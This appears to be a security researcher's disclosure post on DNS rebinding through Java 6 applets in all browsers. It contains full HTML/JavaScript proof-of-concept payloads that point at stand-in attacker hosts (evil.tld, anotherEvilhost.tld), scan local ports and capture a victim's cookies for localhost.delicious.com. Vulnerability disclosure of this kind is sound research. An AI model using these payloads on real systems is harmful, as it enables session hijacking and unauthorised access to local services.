SummaryIn 2007 it was
discovered that Java Applets, in conjunction with LiveConnect plugin on Firefox, were
vulnerable to DNS Rebinding and take advantage of Java features like TCP and UDP socket connections on unauthorized sites.
But the only browser which resulted vulnerable was Firefox.
During an assessment of Java VM source code (v. 6 update 21) it was found that the attack was still feasible, probably due to a regression issue and, more important, I found a way to extend the attack to every browser.
A fix should have been implemented in the new Java 6 update 22.
AnalysisAn interesting new feature which was added in Java 6 is that after the instantiation of JVM from an applet tag the Packages objects are now accessible from any browser.
package sun.plugin2.main.server;
...
public class IExplorerPlugin extends AbstractPlugin{
...
public boolean SetClientSite(long paramLong1, long paramLong2)
...
try {
defineNameSpaceVariable(localBrowserSideObject, "Packages", "");
defineNameSpaceVariable(localBrowserSideObject, "java", "java");
defineNameSpaceVariable(localBrowserSideObject, "netscape", "netscape");
if (DEBUG)
System.out.println("IExplorerPlugin.SetClientSite: successfully defined namespace variables");
}
....
}
So a similar trick used by Anvil can be used with some variant.
Java implements at least two security domains. The first one is the classical sandbox restricted to the domain were the applet originates.
The second one is called "JavaScriptProtectionDomain" which is instantiated when the Java call is done from Javascript and it is tied to the host where the html/javascript is hosted.
When Java is called from JavaScript a JVM is initialized and set the protection domain to JavaScriptProtectionDomain.
The technique used by
Anvil is to call Java from JavaScript and force a DNS request to the evil host which will resolve to an arbitrary IP. The constraint is that the only browsers affected were the ones implementing liveconnect plugin.
The new attack tries to force the generation of Js to Java objects cross browsers.
How it worksUnder Firefox the attack is identical to the one by Kanatoko Anvil.
Regarding other browsers here is the html code:
<!-- From evil.tld -->
<body onload="go1()">
<applet code='anApplet' ></applet>
<div id="info"></div>
<script>
function go1(){
document.body.innerHTML+="aaa";
setTimeout(go,1000); // wait for first JVM to initialize
}
function go(){
document.body.innerHTML+="<applet code='doNothing' archive='http://anotherEvilhost.tld'></applet>"
setTimeout( doSocketStuff,3000);
}
function doSocketStuff(){
try{
d=new Packages.java.net.InetSocketAddress( "evil.tld",aPortToConnect );
....// Same Anvil's code
}catch(e){d.close();alert(e.message)}
}
</script>
there are three steps to take in order to get it work:
- load an applet from evil.tld
- wait for the JVM to init (If we try to get a socket now from evil.tld, the JVM won't ask for IP to the DNS because of DNS cache)
- load another applet from anotherEvilHost.tld
- now we can use JavaScriptDomain by instantiating InetSocketAddress object. Here JVM will ask DNS for evil.tld IP. DNS will resolve to whatever we want (eg. 127.0.0.1).
- Connect to 127.0.0.1 and do port scan with read/write access.
So the trick is to set up two Applets the first one pointing to evil.tld which is the same hosting the html page then the second applet points to another attacker controlled host which will be used to rewrite the Js to Java Objects and, hence, bypass the DNS cache.
After that it'll be possible to perform classical DNS rebinding attacks.
An Interesting AttackOne of the first thing that made me research Applet security was the presence of
java.net.ServerSocket package in applets.
This package allows to open a socket server listening to incoming connections.
// a Js to Java implementation of a server
d=new Packages.java.net.ServerSocket();
d.bind(new Packages.java.net.InetSocketAddress( "127.0.0.1",8000 ));
clientSocket=d.accept(); // here comes the magic
...
d.close();
The previous code is accepted by applets and is legit as of the time of writing.
The restriction comes out when accept method is called. Infact due to Same IP origin Policy a crossdomain.xml will be required to 127.0.0.1, and if not found an exception will be triggered.
Here the DNS Rebinding comes in handy. By applying the technique previously described it will be possible to set up a SocketServer listening to 127.0.0.1 accepting connection without triggering an exception.
Now someone could ask: "Ok but what can I do with a server listening on localhost?".
I asked myself, too. And I figured out some interesting sceneries:
- Crash some local server and then sniff connection on the same port (difficult but feasible).
- Find some host that resolve to 127.0.0.1 and get/set domain cookies.
Let's talk about the latter.
I downloaded the list of
top 500 Alexa sites and found 20% (thumb rule) of them have some site that resolve to 127.0.0.1.
An nice example is localhost.delicious.com:
$ host localhost.delicious.com
localhost.delicious.com has address 127.0.0.1
Let's now perform the attack by using the following code:
<body onload="go1()">
<applet code='doNothing' ></applet><iframe name='delicious'></iframe>
<div id="info"></div>
<script>
function go1(){
document.body.innerHTML+="sometext";
setTimeout(go,1000);
}
function go(){
document.body.innerHTML+="<applet code='doNothing' archive='http://anotherEvilHost.tld/donothing.jar'></applet>"
setTimeout(server,3000);
setTimeout(function(){window.frames[0].location='http://localhost.delicious.com:8040'},5000); // this force the browser to connect to 127.0.0.1 but it'll send the domain cookies to attacker socket server listening on port 8040
}
function server(){
try{
d=new Packages.java.net.ServerSocket();
d.bind(new Packages.java.net.InetSocketAddress( "evil.tld",8040 ));// will now resolve to 127.0.0.1 (port 8040)
clientSocket=d.accept();
ins= clientSocket.getInputStream();
r=ins.available();
buf='';
os=new Packages.java.io.PrintWriter(clientSocket.getOutputStream());
for (var i=0;i< r;i++)
buf += String.fromCharCode( ins.read() );
os.print("HTTP/1.1 200 OK\nContent-length: 0\n\n\n");
os.flush();
os.close();
d.close();
}catch(e){d.close();alert(e.message)}
document.getElementById('info').innerHTML+="<pre>"+(buf)+"</pre>";
}
</script>
Here's a screenshot of what happens to the victim:
N.B.: Don't try the poc from wisec.it since it has not a DNS server controlled by me. So it won't work.
After the attack is accomplished, the attacker will steal victim's cookies and will impersonate her as shown in the following screenshot:
Another interesting attackDue to the Same IP Origin policy of Java Applets it is potentially possible to attack every single host on the Web.
I'll write about it in the next few days.